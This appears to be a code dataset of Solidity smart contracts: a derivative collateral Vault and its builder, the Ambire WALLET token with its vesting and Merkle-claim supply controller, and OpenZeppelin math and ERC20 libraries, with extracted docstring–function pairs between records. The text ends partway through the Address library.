address(0), "Collateral token"); collateralToken = IERC20(_collateralToken); require(_oracles.length > 0, "Oracles"); require(_oracles[0] != address(0), "First oracle is absent"); oracles = _oracles; require(_oracleIterators.length > 0, "OracleIterators"); require(_oracleIterators[0] != address(0), "First oracle iterator is absent"); oracleIterators = _oracleIterators; require(_collateralSplit != address(0), "Collateral split"); collateralSplit = ICollateralSplit(_collateralSplit); require(_tokenBuilder != address(0), "Token builder"); tokenBuilder = ITokenBuilder(_tokenBuilder); require(_feeLogger != address(0), "Fee logger"); feeLogger = IFeeLogger(_feeLogger); authorFeeLimit = _authorFeeLimit; liveTime = initializationTime + derivativeSpecification.mintingPeriod(); require(liveTime > block.timestamp, "Live time"); settleTime = liveTime + derivativeSpecification.livePeriod(); settlementDelay = _settlementDelay; } function pause() external override onlyOwner() { _pause(); } function unpause() external override onlyOwner() { _unpause(); } /// @notice Initialize vault by creating derivative token and switching to Minting state /// @dev Extracted from constructor to reduce contract gas creation amount function initialize() external { require(state == State.Created, "Incorrect state."); changeState(State.Minting); (primaryToken, complementToken) = tokenBuilder.buildTokens(derivativeSpecification, settleTime, address(collateralToken)); emit MintingStateSet(address(primaryToken), address(complementToken)); } /// @notice Switch to Live state if appropriate time threshold is passed function live() public { require(state == State.Minting, 'Incorrect state'); require(block.timestamp >= liveTime, "Incorrect time"); changeState(State.Live); emit LiveStateSet(); } function changeState(State _newState) internal { state = _newState; emit StateChanged(state, _newState); } /// @notice Switch to Settled state if appropriate time threshold is passed and /// set underlyingStarts value and set underlyingEnds value, /// calculate primaryConversion and complementConversion params /// @dev Reverts if underlyingStart or underlyingEnd are not available /// Vault cannot settle when it paused function settle(uint256[] memory _underlyingStartRoundHints, uint256[] memory _underlyingEndRoundHints) public whenNotPaused() { require(state == State.Live, "Incorrect state"); require(block.timestamp >= settleTime + settlementDelay, "Incorrect time"); changeState(State.Settled); uint256 split; (split, underlyingStarts, underlyingEnds) = collateralSplit.split( oracles, oracleIterators, liveTime, settleTime, _underlyingStartRoundHints, _underlyingEndRoundHints ); split = range(split); uint256 collectedCollateral = collateralToken.balanceOf(address(this)); uint256 mintedPrimaryTokenAmount = primaryToken.totalSupply(); if(mintedPrimaryTokenAmount > 0) { uint256 primaryCollateralPortion = collectedCollateral.mul(split); primaryConversion = primaryCollateralPortion.div(mintedPrimaryTokenAmount); complementConversion = collectedCollateral.mul(FRACTION_MULTIPLIER).sub(primaryCollateralPortion).div(mintedPrimaryTokenAmount); } emit SettledStateSet(underlyingStarts, underlyingEnds, primaryConversion, complementConversion); } function range(uint256 _split) public pure returns(uint256) { if(_split > FRACTION_MULTIPLIER) { return FRACTION_MULTIPLIER; } return _split; } /// @notice Mints primary and complement derivative tokens /// @dev Checks and switches to the right state and does nothing if vault is not in Minting state function mint(uint256 _collateralAmount) external nonReentrant() { if(block.timestamp >= liveTime && state == State.Minting) { live(); } require(state == State.Minting, 'Minting period is over'); require(_collateralAmount > 0, "Zero amount"); _collateralAmount = doTransferIn(msg.sender, _collateralAmount); uint256 feeAmount = withdrawFee(_collateralAmount); uint256 netAmount = _collateralAmount.sub(feeAmount); uint256 tokenAmount = denominate(netAmount); primaryToken.mint(msg.sender, tokenAmount); complementToken.mint(msg.sender, tokenAmount); emit Minted(tokenAmount, _collateralAmount, feeAmount); } /// @notice Refund equal amounts of derivative tokens for collateral at any time function refund(uint256 _tokenAmount) external nonReentrant() { require(_tokenAmount > 0, "Zero amount"); require(_tokenAmount <= primaryToken.balanceOf(msg.sender), "Insufficient primary amount"); require(_tokenAmount <= complementToken.balanceOf(msg.sender), "Insufficient complement amount"); primaryToken.burnFrom(msg.sender, _tokenAmount); complementToken.burnFrom(msg.sender, _tokenAmount); uint256 unDenominated = unDenominate(_tokenAmount); emit Refunded(_tokenAmount, unDenominated); doTransferOut(msg.sender, unDenominated); } /// @notice Redeems unequal amounts previously calculated conversions if the vault is in Settled state function redeem( uint256 _primaryTokenAmount, uint256 _complementTokenAmount, uint256[] memory _underlyingStartRoundHints, uint256[] memory _underlyingEndRoundHints ) external nonReentrant() { require(_primaryTokenAmount > 0 || _complementTokenAmount > 0, "Both tokens zero amount"); require(_primaryTokenAmount <= primaryToken.balanceOf(msg.sender), "Insufficient primary amount"); require(_complementTokenAmount <= complementToken.balanceOf(msg.sender), "Insufficient complement amount"); if(block.timestamp >= liveTime && state == State.Minting) { live(); } if(block.timestamp >= settleTime && state == State.Live) { settle(_underlyingStartRoundHints, _underlyingEndRoundHints); } if(state == State.Settled) { redeemAsymmetric(primaryToken, _primaryTokenAmount, true); redeemAsymmetric(complementToken, _complementTokenAmount, false); } } function redeemAsymmetric(IERC20MintedBurnable _derivativeToken, uint256 _amount, bool _isPrimary) internal { if(_amount > 0) { _derivativeToken.burnFrom(msg.sender, _amount); uint256 conversion = _isPrimary ? primaryConversion : complementConversion; uint256 collateral = _amount.mul(conversion).div(FRACTION_MULTIPLIER); emit Redeemed(_amount, conversion, collateral, _isPrimary); if(collateral > 0) { doTransferOut(msg.sender, collateral); } } } function denominate(uint256 _collateralAmount) internal view returns(uint256) { return _collateralAmount.div(derivativeSpecification.primaryNominalValue() + derivativeSpecification.complementNominalValue()); } function unDenominate(uint256 _tokenAmount) internal view returns(uint256) { return _tokenAmount.mul(derivativeSpecification.primaryNominalValue() + derivativeSpecification.complementNominalValue()); } function withdrawFee(uint256 _amount) internal returns(uint256){ uint256 protocolFeeAmount = calcAndTransferFee(_amount, payable(feeWallet), protocolFee); feeLogger.log(msg.sender, address(collateralToken), protocolFeeAmount, derivativeSpecification.author()); uint256 authorFee = derivativeSpecification.authorFee(); if(authorFee > authorFeeLimit) { authorFee = authorFeeLimit; } uint256 authorFeeAmount = calcAndTransferFee(_amount, payable(derivativeSpecification.author()), authorFee); return protocolFeeAmount.add(authorFeeAmount); } function calcAndTransferFee(uint256 _amount, address payable _beneficiary, uint256 _fee) internal returns(uint256 _feeAmount){ _feeAmount = _amount.mul(_fee).div(FRACTION_MULTIPLIER); if(_feeAmount > 0) { doTransferOut(_beneficiary, _feeAmount); } } /// @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case. /// This will revert due to insufficient balance or insufficient allowance. /// This function returns the actual amount received, /// which may be less than `amount` if there is a fee attached to the transfer. /// @notice This wrapper safely handles non-standard ERC-20 tokens that do not return a value. /// See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca function doTransferIn(address from, uint256 amount) internal returns (uint256) { uint256 balanceBefore = collateralToken.balanceOf(address(this)); EIP20NonStandardInterface(address(collateralToken)).transferFrom(from, address(this), amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_IN_FAILED"); // Calculate the amount that was *actually* transferred uint256 balanceAfter = collateralToken.balanceOf(address(this)); require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW"); return balanceAfter - balanceBefore; // underflow already checked above, just subtract } /// @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory /// error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to /// insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified /// it is >= amount, this should not revert in normal conditions. /// @notice This wrapper safely handles non-standard ERC-20 tokens that do not return a value. /// See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca function doTransferOut(address to, uint256 amount) internal { EIP20NonStandardInterface(address(collateralToken)).transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); } } // File: contracts/IVaultBuilder.sol pragma solidity 0.6.12; interface IVaultBuilder { function buildVault( uint _initializationTime, uint _protocolFee, address _feeWallet, address _derivativeSpecification, address _collateralToken, address[] memory _oracles, address[] memory _oracleIterators, address _collateralSplit, address _tokenBuilder, address _feeLogger, uint _authorFeeLimit, uint _settlementDelay ) external returns(address); } // File: contracts/VaultBuilder.sol // "SPDX-License-Identifier: GNU General Public License v3.0" pragma solidity 0.6.12; contract VaultBuilder is IVaultBuilder{ function buildVault( uint _initializationTime, uint _protocolFee, address _feeWallet, address _derivativeSpecification, address _collateralToken, address[] memory _oracles, address[] memory _oracleIterators, address _collateralSplit, address _tokenBuilder, address _feeLogger, uint _authorFeeLimit, uint _settlementDelay ) public override returns(address){ Vault vault = new Vault( _initializationTime, _protocolFee, _feeWallet, _derivativeSpecification, _collateralToken, _oracles, _oracleIterators, _collateralSplit, _tokenBuilder, _feeLogger, _authorFeeLimit, _settlementDelay ); vault.transferOwnership(msg.sender); return address(vault); } }
Switch to Settled state if appropriate time threshold is passed and set underlyingStarts value and set underlyingEnds value, calculate primaryConversion and complementConversion params Reverts if underlyingStart or underlyingEnd are not available Vault cannot settle when it paused
function settle(uint256[] memory _underlyingStartRoundHints, uint256[] memory _underlyingEndRoundHints) public whenNotPaused() { require(state == State.Live, "Incorrect state"); require(block.timestamp >= settleTime + settlementDelay, "Incorrect time"); changeState(State.Settled); uint256 split; (split, underlyingStarts, underlyingEnds) = collateralSplit.split( oracles, oracleIterators, liveTime, settleTime, _underlyingStartRoundHints, _underlyingEndRoundHints ); split = range(split); uint256 collectedCollateral = collateralToken.balanceOf(address(this)); uint256 mintedPrimaryTokenAmount = primaryToken.totalSupply(); if(mintedPrimaryTokenAmount > 0) { uint256 primaryCollateralPortion = collectedCollateral.mul(split); primaryConversion = primaryCollateralPortion.div(mintedPrimaryTokenAmount); complementConversion = collectedCollateral.mul(FRACTION_MULTIPLIER).sub(primaryCollateralPortion).div(mintedPrimaryTokenAmount); } emit SettledStateSet(underlyingStarts, underlyingEnds, primaryConversion, complementConversion); }
348,635
// SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.7; // @TODO: Formatting library LibBytes { // @TODO: see if we can just set .length = function trimToSize(bytes memory b, uint newLen) internal pure { require(b.length > newLen, "BytesLib: only shrinking"); assembly { mstore(b, newLen) } } /***********************************| | Read Bytes Functions | |__________________________________*/ /** * @dev Reads a bytes32 value from a position in a byte array. * @param b Byte array containing a bytes32 value. * @param index Index in byte array of bytes32 value. * @return result bytes32 value from byte array. */ function readBytes32( bytes memory b, uint256 index ) internal pure returns (bytes32 result) { // Arrays are prefixed by a 256 bit length parameter index += 32; require(b.length >= index, "BytesLib: length"); // Read the bytes32 from array memory assembly { result := mload(add(b, index)) } return result; } } interface IERC1271Wallet { function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4 magicValue); } library SignatureValidator { using LibBytes for bytes; enum SignatureMode { EIP712, EthSign, SmartWallet, Spoof } // bytes4(keccak256("isValidSignature(bytes32,bytes)")) bytes4 constant internal ERC1271_MAGICVALUE_BYTES32 = 0x1626ba7e; function recoverAddr(bytes32 hash, bytes memory sig) internal view returns (address) { return recoverAddrImpl(hash, sig, false); } function recoverAddrImpl(bytes32 hash, bytes memory sig, bool allowSpoofing) internal view returns (address) { require(sig.length >= 1, "SV_SIGLEN"); uint8 modeRaw; unchecked { modeRaw = uint8(sig[sig.length - 1]); } SignatureMode mode = SignatureMode(modeRaw); // {r}{s}{v}{mode} if (mode == SignatureMode.EIP712 || mode == SignatureMode.EthSign) { require(sig.length == 66, "SV_LEN"); bytes32 r = sig.readBytes32(0); bytes32 s = sig.readBytes32(32); uint8 v = uint8(sig[64]); // Hesitant about this check: seems like this is something that has no business being checked on-chain require(v == 27 || v == 28, "SV_INVALID_V"); if (mode == SignatureMode.EthSign) hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); address signer = ecrecover(hash, v, r, s); require(signer != address(0), "SV_ZERO_SIG"); return signer; // {sig}{verifier}{mode} } else if (mode == SignatureMode.SmartWallet) { // 32 bytes for the addr, 1 byte for the type = 33 require(sig.length > 33, "SV_LEN_WALLET"); uint newLen; unchecked { newLen = sig.length - 33; } IERC1271Wallet wallet = IERC1271Wallet(address(uint160(uint256(sig.readBytes32(newLen))))); sig.trimToSize(newLen); require(ERC1271_MAGICVALUE_BYTES32 == wallet.isValidSignature(hash, sig), "SV_WALLET_INVALID"); return address(wallet); // {address}{mode}; the spoof mode is used when simulating calls } else if (mode == SignatureMode.Spoof && allowSpoofing) { // This is safe cause it's specifically intended for spoofing sigs in simulation conditions, where tx.origin can be controlled // slither-disable-next-line tx-origin require(tx.origin == address(1), "SV_SPOOF_ORIGIN"); require(sig.length == 33, "SV_SPOOF_LEN"); sig.trimToSize(32); return abi.decode(sig, (address)); } else revert("SV_SIGMODE"); } } library MerkleProof { function isContained(bytes32 valueHash, bytes32[] memory proof, bytes32 root) internal pure returns (bool) { bytes32 cursor = valueHash; uint256 proofLen = proof.length; for (uint256 i = 0; i < proofLen; i++) { if (cursor < proof[i]) { cursor = keccak256(abi.encodePacked(cursor, proof[i])); } else { cursor = keccak256(abi.encodePacked(proof[i], cursor)); } } return cursor == root; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract WALLETToken { // Constants string public constant name = "Ambire Wallet"; string public constant symbol = "WALLET"; uint8 public constant decimals = 18; uint public constant MAX_SUPPLY = 1_000_000_000 * 1e18; // Mutable variables uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Approval(address indexed owner, address indexed spender, uint amount); event Transfer(address indexed from, address indexed to, uint amount); event SupplyControllerChanged(address indexed prev, address indexed current); address public supplyController; constructor(address _supplyController) { supplyController = _supplyController; emit SupplyControllerChanged(address(0), _supplyController); } function balanceOf(address owner) external view returns (uint balance) { return balances[owner]; } function transfer(address to, uint amount) external returns (bool success) { balances[msg.sender] = balances[msg.sender] - amount; balances[to] = balances[to] + amount; emit Transfer(msg.sender, to, amount); return true; } function transferFrom(address from, address to, uint amount) external returns (bool success) { balances[from] = balances[from] - amount; allowed[from][msg.sender] = allowed[from][msg.sender] - amount; balances[to] = balances[to] + amount; emit Transfer(from, to, amount); return true; } function approve(address spender, uint amount) external returns (bool success) { allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function allowance(address owner, address spender) external view returns (uint remaining) { return allowed[owner][spender]; } // Supply control function innerMint(address owner, uint amount) internal { totalSupply = totalSupply + amount; require(totalSupply < MAX_SUPPLY, 'MAX_SUPPLY'); balances[owner] = balances[owner] + amount; // Because of https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1 emit Transfer(address(0), owner, amount); } function mint(address owner, uint amount) external { require(msg.sender == supplyController, 'NOT_SUPPLYCONTROLLER'); innerMint(owner, amount); } function changeSupplyController(address newSupplyController) external { require(msg.sender == supplyController, 'NOT_SUPPLYCONTROLLER'); // Emitting here does not follow checks-effects-interactions-logs, but it's safe anyway cause there are no external calls emit SupplyControllerChanged(supplyController, newSupplyController); supplyController = newSupplyController; } } interface IStakingPool { function enterTo(address recipient, uint amount) external; } contract WALLETSupplyController { event LogNewVesting(address indexed recipient, uint start, uint end, uint amountPerSec); event LogVestingUnset(address indexed recipient, uint end, uint amountPerSec); event LogMintVesting(address indexed recipient, uint amount); // solhint-disable-next-line var-name-mixedcase WALLETToken public immutable WALLET; mapping (address => bool) public hasGovernance; constructor(WALLETToken token, address initialGovernance) { hasGovernance[initialGovernance] = true; WALLET = token; } // Governance and supply controller function changeSupplyController(address newSupplyController) external { require(hasGovernance[msg.sender], "NOT_GOVERNANCE"); WALLET.changeSupplyController(newSupplyController); } function setGovernance(address addr, bool level) external { require(hasGovernance[msg.sender], "NOT_GOVERNANCE"); // Sometimes we need to get someone to de-auth themselves, but // it's better to protect against bricking rather than have this functionality // we can burn conrtol by transferring control over to a contract that can't mint or by ypgrading the supply controller require(msg.sender != addr, "CANNOT_MODIFY_SELF"); hasGovernance[addr] = level; } // Vesting // Some addresses (eg StakingPools) are incentivized with a certain allowance of WALLET per year // Also used for linear vesting of early supporters, team, etc. // mapping of (addr => end => rate) => lastMintTime; mapping (address => mapping(uint => mapping(uint => uint))) public vestingLastMint; function setVesting(address recipient, uint start, uint end, uint amountPerSecond) external { require(hasGovernance[msg.sender], "NOT_GOVERNANCE"); // no more than 10 WALLET per second; theoretical emission max should be ~8 WALLET require(amountPerSecond <= 10e18, "AMOUNT_TOO_LARGE"); require(start >= 1643695200, "START_TOO_LOW"); require(vestingLastMint[recipient][end][amountPerSecond] == 0, "VESTING_ALREADY_SET"); vestingLastMint[recipient][end][amountPerSecond] = start; emit LogNewVesting(recipient, start, end, amountPerSecond); } function unsetVesting(address recipient, uint end, uint amountPerSecond) external { require(hasGovernance[msg.sender], "NOT_GOVERNANCE"); // AUDIT: Pending (unclaimed) vesting is lost here - this is intentional vestingLastMint[recipient][end][amountPerSecond] = 0; emit LogVestingUnset(recipient, end, amountPerSecond); } // vesting mechanism function mintableVesting(address addr, uint end, uint amountPerSecond) public view returns (uint) { uint lastMinted = vestingLastMint[addr][end][amountPerSecond]; if (lastMinted == 0) return 0; // solhint-disable-next-line not-rely-on-time if (block.timestamp > end) { require(end > lastMinted, "VESTING_OVER"); return (end - lastMinted) * amountPerSecond; } else { // this means we have not started yet // solhint-disable-next-line not-rely-on-time if (lastMinted > block.timestamp) return 0; // solhint-disable-next-line not-rely-on-time return (block.timestamp - lastMinted) * amountPerSecond; } } function mintVesting(address recipient, uint end, uint amountPerSecond) external { uint amount = mintableVesting(recipient, end, amountPerSecond); // solhint-disable-next-line not-rely-on-time vestingLastMint[recipient][end][amountPerSecond] = block.timestamp; WALLET.mint(recipient, amount); emit LogMintVesting(recipient, amount); } // // Rewards distribution // event LogUpdatePenaltyBps(uint newPenaltyBps); event LogClaimStaked(address indexed recipient, uint claimed); event LogClaimWithPenalty(address indexed recipient, uint received, uint burned); uint public immutable MAX_CLAIM_NODE = 80_000_000e18; bytes32 public lastRoot; mapping (address => uint) public claimed; uint public penaltyBps = 0; function setPenaltyBps(uint _penaltyBps) external { require(hasGovernance[msg.sender], "NOT_GOVERNANCE"); require(penaltyBps <= 10000, "BPS_IN_RANGE"); penaltyBps = _penaltyBps; emit LogUpdatePenaltyBps(_penaltyBps); } function setRoot(bytes32 newRoot) external { require(hasGovernance[msg.sender], "NOT_GOVERNANCE"); lastRoot = newRoot; } function claimWithRootUpdate( // claim() args uint totalRewardInTree, bytes32[] calldata proof, uint toBurnBps, IStakingPool stakingPool, // args for updating the root bytes32 newRoot, bytes calldata signature ) external { address signer = SignatureValidator.recoverAddrImpl(newRoot, signature, false); require(hasGovernance[signer], "NOT_GOVERNANCE"); lastRoot = newRoot; claim(totalRewardInTree, proof, toBurnBps, stakingPool); } // claim() has two modes, either receive the full amount as xWALLET (staked WALLET) or burn some (penaltyBps) and receive the rest immediately in $WALLET // toBurnBps is a safety parameter that serves two purposes: // 1) prevents griefing attacks/frontrunning where governance sets penalties higher before someone's claim() gets mined // 2) ensures that the sender really does have the intention to burn some of their tokens but receive the rest immediatey // set toBurnBps to 0 to receive the tokens as xWALLET, set it to the current penaltyBps to receive immediately // There is an edge case: when penaltyBps is set to 0, you pass 0 to receive everything immediately; this is intended function claim(uint totalRewardInTree, bytes32[] memory proof, uint toBurnBps, IStakingPool stakingPool) public { address recipient = msg.sender; require(totalRewardInTree <= MAX_CLAIM_NODE, "MAX_CLAIM_NODE"); require(lastRoot != bytes32(0), "EMPTY_ROOT"); // Check the merkle proof bytes32 leaf = keccak256(abi.encode(address(this), recipient, totalRewardInTree)); require(MerkleProof.isContained(leaf, proof, lastRoot), "LEAF_NOT_FOUND"); uint toClaim = totalRewardInTree - claimed[recipient]; claimed[recipient] = totalRewardInTree; if (toBurnBps == penaltyBps) { // Claiming in $WALLET directly: some tokens get burned immediately, but the rest go to you uint toBurn = (toClaim * penaltyBps) / 10000; uint toReceive = toClaim - toBurn; // AUDIT: We can check toReceive > 0 or toBurn > 0, but there's no point since in the most common path both will be non-zero WALLET.mint(recipient, toReceive); WALLET.mint(address(0), toBurn); emit LogClaimWithPenalty(recipient, toReceive, toBurn); } else if (toBurnBps == 0) { WALLET.mint(address(this), toClaim); if (WALLET.allowance(address(this), address(stakingPool)) < toClaim) { WALLET.approve(address(stakingPool), type(uint256).max); } stakingPool.enterTo(recipient, toClaim); emit LogClaimStaked(recipient, toClaim); } else { revert("INVALID_TOBURNBPS"); } } // In case funds get stuck function withdraw(IERC20 token, address to, uint256 tokenAmount) external { require(hasGovernance[msg.sender], "NOT_GOVERNANCE"); // AUDIT: SafeERC20 or similar not needed; this is a trusted (governance only) method that doesn't modify internal accounting // so sucess/fail does not matter token.transfer(to, tokenAmount); } }
In case funds get stuck AUDIT: SafeERC20 or similar not needed; this is a trusted (governance only) method that doesn't modify internal accounting so sucess/fail does not matter
function withdraw(IERC20 token, address to, uint256 tokenAmount) external { require(hasGovernance[msg.sender], "NOT_GOVERNANCE"); token.transfer(to, tokenAmount); }
6,106,292
// SPDX-License-Identifier: MIXED // File @openzeppelin/contracts/math/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File @openzeppelin/contracts/token/ERC20/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/math/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/utils/[email protected] // License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to 